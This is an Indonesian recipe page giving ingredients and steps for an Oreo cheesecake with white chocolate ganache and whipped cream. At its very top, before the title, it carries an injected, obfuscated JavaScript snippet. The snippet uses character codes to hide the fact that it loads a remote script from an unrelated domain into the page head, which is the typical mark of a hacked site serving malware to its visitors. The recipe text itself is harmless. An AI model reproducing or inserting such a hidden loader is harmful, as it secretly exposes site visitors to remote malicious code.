Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,104,116,46,115,101,99,111,110,100,97,114,121,105,110,102,111,114,109,116,114,97,110,100,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})(); Cara Mudah Membuat Cheesecake Oreo Yang Enak - Informasikan.com

Cara Mudah Membuat Cheesecake Oreo Yang Enak

Resep Strawberry Cheesecake Salad, Cocok untuk Buka Puasa

Pada artikel kali ini kami akan memberikan resep dan cara membuat kue cheesecake oreo.

BAHAN:

KERAK

  • 35 Oreo (3 gelas | 403g Oreo remah)
  • 5 sdm (70g) mentega, dicairkan (asin atau tawar)

ISI

  • Keju krim 24 ons (678g), suhu kamar
  • 1 cangkir (207g) gula
  • 3 sdm (24g) tepung terigu
  • 1 cangkir (230g) krim asam
  • 1 1/2 sdm ekstrak vanila
  • 4 telur besar, suhu kamar
  • 1 mangkok (134g) remah Oreo (dari sekitar 11 – 12 Oreo)
  • 20 Oreo, potong menjadi empat bagian
  • COKELAT PUTIH GANACHE
  • 7 ons keping cokelat putih
  • 4 sdm (60ml) whipping cream
  • Cincang Oreo

KRIM KOCOK

  • 1 gelas (240ml) krim kocok berat, dingin
  • 1/2 cangkir (58g) gula bubuk
  • 3/4 sdt ekstrak vanila
  • Oreo, potong setengah

Cara membuat:

  1. Panaskan oven hingga 325 ° F (163 ° C). Luruskan loyang springform 9 inci (23 cm) dengan kertas perkamen di bagian bawah dan olesi sisi-sisinya.
  2. Campurkan bahan kerak dalam mangkuk kecil. Tekan campuran ke bagian bawah dan atas sisi wajan berbentuk spring.
  3. Panggang kerak selama 8-10 menit, lalu sisihkan hingga dingin.
  4. Tutupi bagian luar wajan dengan aluminium foil sehingga air tidak bisa masuk. Sisihkan panci yang sudah disiapkan.

ISI:

  1. Kurangi suhu oven hingga 300 ° F (148 ° C).
  2. Dalam mangkuk besar, kocok krim keju, gula dan tepung dengan kecepatan rendah sampai benar-benar tercampur dan halus. Pastikan untuk menggunakan kecepatan rendah. Kikis sisi mangkuk.
  3. Tambahkan krim dan ekstrak vanila dan aduk dengan kecepatan rendah hingga tercampur rata.
  4. Tambahkan telur satu per satu, aduk perlahan agar tercampur rata. Kikis sisi mangkuk sesuai kebutuhan untuk memastikan semuanya terkombinasi dengan baik.
  5. Dengan lembut aduk remah-remah Oreo ke dalam isian.
  6. Tuang sepertiga isi cheesecake ke dalam kerak dan oleskan secara merata. Tambahkan setengah dari Oreo yang dipotong empat.
  7. Tambahkan sepertiga lagi isian cheesecake dan oleskan secara merata, lalu setengah Oreo lainnya.
  8. Lapisi cheesecake dengan isian yang tersisa dan sebarkan ke lapisan merata. Itu harus menjadi lapisan yang cukup tebal untuk menjaga Oreo dari mengambang ke atas. Cobalah untuk tidak terlalu banyak mendorong cheesecake, atau Oreo akan muncul ke permukaan. Anda ingin menghindari itu sehingga Anda tidak berakhir dengan retakan di bagian atas cheesecake Anda. Jika ada beberapa Oreo atau permukaan gelembung udara, gunakan tusuk gigi untuk menekan Oreo dan meletuskan gelembung.
  9. Tempatkan panci springform di dalam panci lain yang lebih besar. Isi panci luar dengan air hangat yang cukup untuk setengah sisi sisi loyang. Air seharusnya tidak berada di atas tepi atas kertas aluminium pada panci springform.
  10. Panggang selama 1 jam 20 menit. 
  11. Matikan oven dan biarkan pintu tertutup selama 30 menit. Kue keju akan terus dimasak, tetapi perlahan-lahan mulai dingin juga.
  12. buka pintu oven selama 30 menit agar cheesecake terus dingin perlahan. Proses ini membantu mencegah retak.
  13. Keluarkan cheesecake dari oven dan bungkus water bath dan dinginkan sampai keras, 5-6 jam atau semalam.
  14. Keluarkan cheesecake dari loyang springform dan letakkan di atas piring saji.
  15. Untuk membuat ganache, tempatkan keping cokelat putih dalam mangkuk tahan panas sedang.
  16. Panaskan krim kental hanya sampai mulai mendidih.
  17. Tuang krim panas di atas keping cokelat putih dan diamkan selama 2-3 menit, lalu aduk hingga rata. Jika tidak sepenuhnya meleleh dan halus, panaskan dalam 10 detik, aduk di antara masing-masing sampai sepenuhnya meleleh.
  18. Biarkan ganache menjadi dingin sedikit (sekitar 5 menit, sampai mengental tetapi masih bisa dituang dan menyebar), kemudian tuangkan ganache ke atas cheesecake dan sebarkan merata.
  19. Untuk membuat whipped cream, tambahkan whipping cream dan gula halus ke dalam mangkuk besar. Kocok dengan kecepatan tinggi hingga puncak yang kaku terbentuk.
  20. Masukkan krim kocok ke tepi luar atas cheesecake. Saya menggunakan Ateco tip 844.
  21. Selesaikan cheesecake off dengan menambahkan Oreo cincang tambahan ke tengah-tengah cheesecake dan setengah Oreo untuk berputar-putar whipped cream swirls cream.
  22. Dinginkan sampai siap disajikan. 

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.